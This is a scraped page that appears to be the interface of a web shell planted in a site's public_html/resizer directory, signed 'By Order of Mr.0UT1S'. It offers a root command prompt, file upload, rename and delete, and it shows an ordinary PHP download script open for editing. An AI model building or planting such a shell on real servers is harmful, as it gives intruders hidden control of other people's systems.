home
/
aioutajg
/
public_html
/
resizer
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] assets
N/A
[DIR] parts
N/A
delete.php
501 bytes
Rename
Delete
download.php
768 bytes
Rename
Delete
index.php
6.64 KB
Rename
Delete
resize.php
4.47 KB
Rename
Delete
<?php if (isset($_GET['file'])) { $file = __DIR__ . '/../uploads/' . basename($_GET['file']); // Check if the file exists if (file_exists($file)) { // Set headers to force download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); header('Cache-Control: must-revalidate'); header('Pragma: public'); // Read the file and send it to the browser readfile($file); exit; } else { echo 'File does not exist.'; } } else { echo 'No file specified.'; } ?>
Save